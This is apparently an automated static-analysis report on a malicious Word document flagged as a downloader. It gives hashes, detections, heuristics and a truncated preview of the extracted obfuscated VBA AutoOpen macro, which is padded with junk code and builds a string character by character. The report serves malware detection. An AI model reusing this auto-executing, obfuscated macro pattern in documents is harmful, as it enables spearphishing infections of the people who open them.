Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9fa6d63473ef6415…

MALICIOUS

Office (OLE)

252.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-09-30
MD5: c8a79f991de4a71bda0d6784a0915f76 SHA-1: e399899a7fe8f7865710a40f8f2afd2a5e0be77e SHA-256: 9fa6d63473ef6415a926c8a6f86e214c2b2700ed84e9a4c65e00781680bcaa82
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature Doc.Downloader.Valyria-6595163-0. High-severity heuristics indicate the presence of an AutoOpen VBA macro that utilizes GetObject, a common technique for executing malicious code. The VBA script, although heavily obfuscated, is designed to download and execute a secondary payload, likely leveraging PowerShell for execution. The AutoOpen macro and the nature of the detection strongly suggest this is a spearphishing attachment.

Heuristics 7

  • ClamAV: Doc.Downloader.Valyria-6595163-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Valyria-6595163-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 75657 bytes
SHA-256: 90699e794ad20b1c20cff7bd2bc136fd3cbd2bfdd6de3954802249f5f67e1eae
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub BIPOmiIwubafEbIZAGoRe()


End Sub
Sub AutoOpen()
XaguluceryraxUTA = 98516
Dim FavyDOVeJuPu
FavyDOVeJuPu = Rnd(132)
If FavyDOVeJuPu > 2800 Then
Dim XejidyjYZIwY
For XejidyjYZIwY = 2 To 12
   Dim tAWoTyBUDuzaZXyR
   tAWoTyBUDuzaZXyR = Fix(80163)
Next
   FavyDOVeJuPu = Exp(2)
Debug.Print "RONiRepabiwuheTaR"
SELEJUtfyTySI = 11883
End If
On Error Resume Next

Dim CaORuiocyBifAQUGeq
CaORuiocyBifAQUGeq = Rnd(119)
If CaORuiocyBifAQUGeq > 45171 Then
   CaORuiocyBifAQUGeq = Exp(9)
End If

GotIgYTyVOriEboQeHis = 92163
feMIqAXapUCoXiGiACHUG = Val("80961.8") & "bYZYfIvAZyNUc"
MeaYluGOdTaqynoRYTAM = 25869
KoiirasyJOJiWiXOwEma = ""
Dim DUTUNYWOvOVyriS
DUTUNYWOvOVyriS = Rnd(124)
If DUTUNYWOvOVyriS > 65417 Then
   DUTUNYWOvOVyriS = Exp(4)
End If
Dim vOLaBODyZgYaYMPaj
vOLaBODyZgYaYMPaj = Log(10)

vOLaBODyZgYaYMPaj = vOLaBODyZgYaYMPaj + Log(12)


Dim hNYdEKyNUnEvOz
hNYdEKyNUnEvOz = Rnd(1210)
If hNYdEKyNUnEvOz > 72531 Then
   hNYdEKyNUnEvOz = Exp(10)
End If
Dim XxiNIjUjut
XxiNIjUjut = Log(6)

Dim nYpeXacuGybeNUXu
For nYpeXacuGybeNUXu = 5 To 11
   Dim gUvOmaXiXyOqozeVUtiKo
   gUvOmaXiXyOqozeVUtiKo = Fix(10326)
Next
Debug.Print "tytINehedEDOWUhyJ"
XxiNIjUjut = XxiNIjUjut + Log(13)
Dim QIleiYvEGAPAtJnui
QIleiYvEGAPAtJnui = Rnd(116)
If QIleiYvEGAPAtJnui > 29956 Then
   QIleiYvEGAPAtJnui = Exp(6)
End If
iyNomModajOWANg = 53457
 KoiirasyJOJiWiXOwEma = KoiirasyJOJiWiXOwEma + IIf((188 + 376) = 564, "s", "M")
Dim qYjUcyZaCiQ
For qYjUcyZaCiQ = 8 To 10
   Dim LOdAaonYWOHYjeRyn
   LOdAaonYWOHYjeRyn = Fix(24844)
Next
OrENbOxEGOwoSiGa = InStr("FYLybuaURIGytIZYjYfamo", "FYLybuaURIGytIZYjYfamoFYLybuaURIGytIZYjYfamo")
Debug.Print "saNNuWycICuiBEaIiab"
Dim neZOxuGaFYpiHAWab
neZOxuGaFYpiHAWab = Rnd(114)
If neZOxuGaFYpiHAWab > 19137 Then
   neZOxuGaFYpiHAWab = Exp(4)
End If
Dim wuJAtOmhOuTExeGYDoXEh
wuJAtOmhOuTExeGYDoXEh = Rnd(139)
If wuJAtOmhOuTExeGYDoXEh > 69178 Then
   wuJAtOmhOuTExeGYDoXEh = Exp(9)
End If

KoiirasyJOJiWiXOwEma = KoiirasyJOJiWiXOwEma + IIf((18 + 36) = 54, "c", "6f")
Dim qeGOjuqyNErtoFELEPE
PalaYxajMiKyTOBaKaA = Val("89271.2") & "vOnIdylYXarIdOz"
qeGOjuqyNErtoFELEPE = Rnd(106)
Dim ayJIJAheHaSZoCogYlOHada
ayJIJAheHaSZoCogYlOHada = Rnd(131)
If ayJIJAheHaSZoCogYlOHada > 66044 Then
   ayJIJAheHaSZoCogYlOHada = Exp(1)
End If
If qeGOjuqyNErtoFELEPE > 86663 Then
Dim vabyBOiJOL
For vabyBOiJOL = 4 To 13
   Dim foLodICEJikeluMAfudemuv
   foLodICEJikeluMAfudemuv = Fix(5024)
Next
GaXeHAhoiEztAGImibY = Val("30193.1") & "cIhEhYJADUteB"
   qeGOjuqyNErtoFELEPE = Exp(6)
End If
rUGnOlujTaBuB = Val("53734.7") & "ydOsYLEHoDYnuxI"
Debug.Print "kuduWUcaFeDEKOVOZ"

xypECOzUieTAJolAzaGuJe = 21288
bytiKiaOfaGUDyL = Val("21344.5") & "JIWUTONagxitItiZOna"
Dim dUPIaOfibilozYNaZaPaPydy
Debug.Print "rIKasabUpinEj"
dUPIaOfibilozYNaZaPaPydy = Log(9)
cyLyjIFaZuCUgUR = Val("77381.3") & "TYtUBaVBAjAsylEZEjYsd"
gAfYBaWohEPgAzOnO = Val("53592.9") & "dIdOrucOdOrATuVOsYmoa"

dUPIaOfibilozYNaZaPaPydy = dUPIaOfibilozYNaZaPaPydy + Log(11)
heFarEdazOiYbIpYHyWySuay = 62852
KoiirasyJOJiWiXOwEma = KoiirasyJOJiWiXOwEma + IIf((280 + 560) = 840, "r", "Q")
hFejakysagYmYBiQeRUROgu = 43392
Dim wODAKiVYHUwETqUHI
Debug.Print "GOqOHANytanEWiN"
Dim zEheCupODeCy
For zEheCupODeCy = 7 To 13
   Dim HeLOzEWIHOsoRIvYZUS
   HeLOzEWIHOsoRIvYZUS = Fix(28510)
Next
wODAKiVYHUwETqUHI = Log(3)
cOQiDySaSeLAZOMekY = 78904

Dim zEcevAREoTuCeVYW
zEcevAREoTuCeVYW = Rnd(117)
If zEcevAREoTuCeVYW > 43234 Then
   zEcevAREoTuCeVYW = Exp(7)
End If
wODAKiVYHUwETqUHI = wODAKiVYHUwETqUHI + Log(10)
qxoWegOTiREjU = InStr("iEKyvAkymuHewY", "iEKyvAkymuHewYiEKyvAkymuHewY")
Dim QUnaXIjyletOgScEc
QUnaXIjyletOgScEc = Log(1)

QUnaXIjyletOgScEc = QUnaXIjyletOgScEc + Log(11)
rAQYiCEzokaKaJOg = 45935

Koiiras
... (truncated)

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